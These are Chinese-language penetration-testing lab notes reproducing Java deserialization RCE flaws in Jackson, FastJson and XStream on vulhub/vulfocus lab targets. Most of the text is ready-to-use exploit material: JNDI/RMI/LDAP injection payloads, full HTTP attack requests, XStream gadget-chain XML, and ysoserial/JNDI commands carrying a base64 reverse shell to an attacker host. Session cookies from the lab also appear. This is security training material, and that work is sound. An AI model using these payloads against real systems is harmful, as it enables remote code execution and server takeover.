第83天:服务攻防-开发组件安全&Jackson&FastJson各版本&Xstream&CVE环境复现

知识点

  1. J2EE - 组件 Jackson - 本地 demo&CVE
  2. J2EE - 组件 FastJson - 本地 demo&CVE
  3. J2EE - 组件 XStream - 本地 demo&CVE

本节测试组件 demo 代码均会放置在文末网盘链接

功能

  • 这三个都是对 xml 格式 (xstream) 或 json 格式(fastjson jackson)进行数据转换解析用的

检测

  • 黑盒检测:
    • 首先确定是 Java 应用
    • 若 bp 抓包发现某个数据包中请求参数数据以 json/xml 格式发送,此时将数据换为 poc 进行测试
      • 注意:记得替换 poc 中的 rmi 或者 ldap 路径,要是在网站提交记得把里面的 /r/n 替换掉,要是直接粘贴到 bp 就没事
    • 然后进行黑盒判断:
      • 通过提交数据报错信息得到是什么组件
        是 fastjson 就用 fastjson 的 poc 去打,若是 jacksono 就用 jackson 去打
  • 白盒:直接看引用组件版本

jackson

了解

  • 当下流行的 json 解释器,主要负责处理 Json 的序列化和反序列化。
  • 历史漏洞:https://avd.aliyun.com/search?q=Jackson

代码执行 (CVE-2020-8840)

漏洞类型

  • JDNI 注入导致 RCE

漏洞原理

2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2

这里写的虽然是截止到 2.9.10.2,但是测试时使用的是 2.10.1,依旧执行成功

Fasterxm l jackson-databind 的 2.0.0 到 2.9.10.2 版本缺乏某些 xbean-reflect/JNDI 黑名单类
例如 org.apache.xbean.propertyeditor.JndiConverter,可导致攻击者使用 JNDI 注入实现远程命令执行。

漏洞条件

  • 开启 enableDefaultTyping ()
  • 使用了 org.apache.xbean.propertyeditor.JndiConverter 第三方依赖

测试

  1. demo 使用到了 jackson
  2. 并且使用 jackson 去解析数据
  3. json 数据可控 (攻击替换 json 数据,payload 进行 jndi 注入攻击)

修改下面中的 ldap 实现 jndi 注入 rce

1
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";

代码执行 (CVE-2020-35728)

漏洞原理

  • FasterXML jackson-databind 2.x < 2.9.10.8

测试

修改下面中的 ldap 实现 jndi 注入 rce,这里的话我用的是 ldap 才复现出来,小迪的好像 rmi 就可以

1
String payload = "[\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"ldap://10.20.0.36:1389/da5jp8\"}]";

image-20250829154447161

这里没有成功大概率是java版本问题。。。。

FastJson

利用 POC fastjson_payload 汇总:https://github.com/kezibei/fastjson_payload

FastJson <= 1.2.24

之前搭建过的 javasec-0.0.1-SNAPSHOT.jar 这个靶场的 Fastjson 就是这个 poc

1
2
3
4
5
6
7
 String payload = "{\r\n"
     + "   \"a\": {\r\n"
     + "       \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \r\n"
     + "       \"dataSourceName\": \"rmi://127.0.0.1:1099/Object\", \r\n"
     + "       \"autoCommit\": true\r\n"
     + "   }\r\n"
     + "}";

vulhub靶场复现

image-20250830114450688

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST / HTTP/1.1
Host: 10.20.0.19:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: s7t_sid=DQ77Hq; s7t_visitedfid=2; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzU2NjA0NTEyLCJlbWFpbCI6IiJ9.ymDKAlhR1isooQcTR53teH4JXBOyZ6-8Y7c8XGm74Uc; JSESSIONID=OTX4ph4UpJobJdf2VAb0gMXwab8iTiorKF-FtsAW6fYX3jthBXyT!1356957174; zbx_sessionid=16e380fda253a47f28ad82c4985bb0b7
Connection: close
Content-Type: application/json
Content-Length: 159

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://10.20.0.36:1099/tjt5n6",
"autoCommit":true
}
}

image-20250830115150863

image-20250830115331512

FastJson <= 1.2.47

1
2
3
4
5
6
7
8
9
10
11
String payload = "{\r\n"
+ " \"a\": {\r\n"
+ " \"@type\": \"java.lang.Class\", \r\n"
+ " \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\r\n"
+ " }, \r\n"
+ " \"b\": {\r\n"
+ " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \r\n"
+ " \"dataSourceName\": \"rmi://127.0.0.1:1099/Object\", \r\n"
+ " \"autoCommit\": true\r\n"
+ " }\r\n"
+ "}";

payload:

image-20250830120258829

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST / HTTP/1.1
Host: 10.20.0.19:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: s7t_sid=DQ77Hq; s7t_visitedfid=2; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzU2NjA0NTEyLCJlbWFpbCI6IiJ9.ymDKAlhR1isooQcTR53teH4JXBOyZ6-8Y7c8XGm74Uc; JSESSIONID=OTX4ph4UpJobJdf2VAb0gMXwab8iTiorKF-FtsAW6fYX3jthBXyT!1356957174; zbx_sessionid=16e380fda253a47f28ad82c4985bb0b7
Connection: close
Content-Type: application/json
Content-Length: 259

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://10.20.0.36:1099/tjt5n6",
"autoCommit":true
}
}

image-20250830120242266

image-20250830120226754

FastJson <= 1.2.80

1
2
3
4
5
6
7
8
9
10
11
12
13
String poc1 = "{\n" +
" \"@type\":\"java.lang.Exception\",\n" +
" \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
" \"unit\":{}\n" +
"}";
String poc2 = "{\n" +
" \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
" \"config\":{\n" +
" \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
" \"classpathList\":\"http://127.0.0.1:81/attack-1.jar\"\n" +
" }\n" +
"}";

XStream

了解

  • 开源 Java 类库,能将对象序列化成 XML 或 XML 反序列化为对象
    历史漏洞:https://avd.aliyun.com/search?q=XStream

代码执行 (CVE-2021-21351)

漏洞版本

  • Xstream<=1.4.15

演示靶场

  • vulfocus 靶场 xstream 代码执行 (CVE-2021-21351)

利用

  1. 生成反弹 Shell 的 JNDI 注入
    我这里反弹的是 9999 端口
1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMC4wLjM2Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 10.20.0.36

image-20250829163502589

修改上图红框中的地方就行。

image-20250829162934852

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
POST / HTTP/1.1
Host: 10.20.0.19:23366
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/xml

<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
<m__DTMXRTreeFrag>
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
<m__size>-10086</m__size>
<m__mgrDefault>
<__overrideDefaultParser>false</__overrideDefaultParser>
<m__incremental>false</m__incremental>
<m__source__location>false</m__source__location>
<m__dtms>
<null/>
</m__dtms>
<m__defaultHandler/>
</m__mgrDefault>
<m__shouldStripWS>false</m__shouldStripWS>
<m__indexing>false</m__indexing>
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://10.20.0.36:1099/glamh0</dataSource>
<listeners/>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</fPullParserConfig>
<fConfigSetInput>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>setAutoCommit</name>
<parameter-types>
<class>boolean</class>
</parameter-types>
</fConfigSetInput>
<fConfigParse reference='../fConfigSetInput'/>
<fParseInProgress>false</fParseInProgress>
</m__incrementalSAXSource>
<m__walker>
<nextIsRaw>false</nextIsRaw>
</m__walker>
<m__endDocumentOccured>false</m__endDocumentOccured>
<m__idAttributes/>
<m__textPendingStart>-1</m__textPendingStart>
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
<m__pastFirstElement>false</m__pastFirstElement>
</m__dtm>
<m__dtmIdentity>1</m__dtmIdentity>
</m__DTMXRTreeFrag>
<m__dtmRoot>1</m__dtmRoot>
<m__allowRelease>false</m__allowRelease>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

image-20250829162924276

CVE-2021-29505

1
java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMC4wLjM2Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}"

image-20250829163353996

image-20250829164110816

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
POST / HTTP/1.1
Host: 10.20.0.19:12053
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/xml

<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>10.20.0.36</string>
<int>1099</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>10.20.0.36</host>
<port>1099</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

image-20250829164029010